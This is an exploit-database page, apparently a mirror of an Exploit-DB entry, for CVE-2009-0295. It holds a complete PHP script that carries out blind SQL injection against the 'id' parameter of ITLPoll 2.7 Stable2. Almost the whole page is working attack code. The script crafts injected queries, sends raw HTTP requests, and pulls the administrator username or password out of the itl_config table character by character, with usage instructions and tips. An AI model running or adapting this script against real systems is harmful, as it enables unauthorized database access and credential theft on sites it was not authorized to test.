Search...

ITLPoll 2.7 Stable2 index.php id Blind SQL Injection Exploit

2009-01-26T00:00:00
ID EDB-ID:7867
Type exploitdb
Reporter fuzion
Modified 2009-01-26T00:00:00

Description

ITLPoll 2.7 Stable2 (index.php id) Blind SQL Injection Exploit. CVE-2009-0295. Webapps exploit for php platform

                                        
                                            <?php

function usage ()
{
    echo "\nITLPoll v2.7 Stable2 Blind SQL Injection Exploit".
         "\n[☢] Usage   : ./itlpoll.php hostname path <username or password>".
         "\n[☢] Ex	: ./itlpoll.php localhost /itlpoll password".
	 "\n\n";
    exit ();
}


function query ($func, $chr, $pos)
{   //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls.
    $query = "1' AND ORD(MID((SELECT IFNULL(CAST({$func} AS CHAR(10000)), CHAR(32)) FROM itl_config WHERE id = 1),{$pos},1))='{$chr}";
    $query = str_replace (" ", "%20", $query);
    $query = str_replace ("'", "%27", $query);
    return $query;
}

function exploit ($host, $path, $func, $pos, $chr)
{
    $chr = ord ($chr);
    $fp = fsockopen ($host, 80);
    $query = query ($func, $chr, $pos);
    $request = "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
           "Host: {$host}\r\n".
           "Connection: Close\r\n\r\n";
    
    fputs ($fp, $request);
    while (!feof ($fp))
        $reply .= fgets ($fp, 1024);
    
    fclose ($fp);

    if (preg_match ("/EXPIERED/", $reply))
        return false;
    else
        return true;
}


if ($argc != 4)

    usage ();

$host = $argv [1];
$path = $argv [2];
$func = $argv [3];
$key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; //add a bigger char set if you can't get the username
$pos = 1;
$chr = 0;

echo "[☢] Creds: ";

while ($pos <= 32)
{
    if (exploit ($host, $path, $func, $pos, $key [$chr]))
    {
        echo $key [$chr];
        $chr = 0;
        $pos++;
    }
    else
        $chr++;
}
echo "\n";
?>

# milw0rm.com [2009-01-26]
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by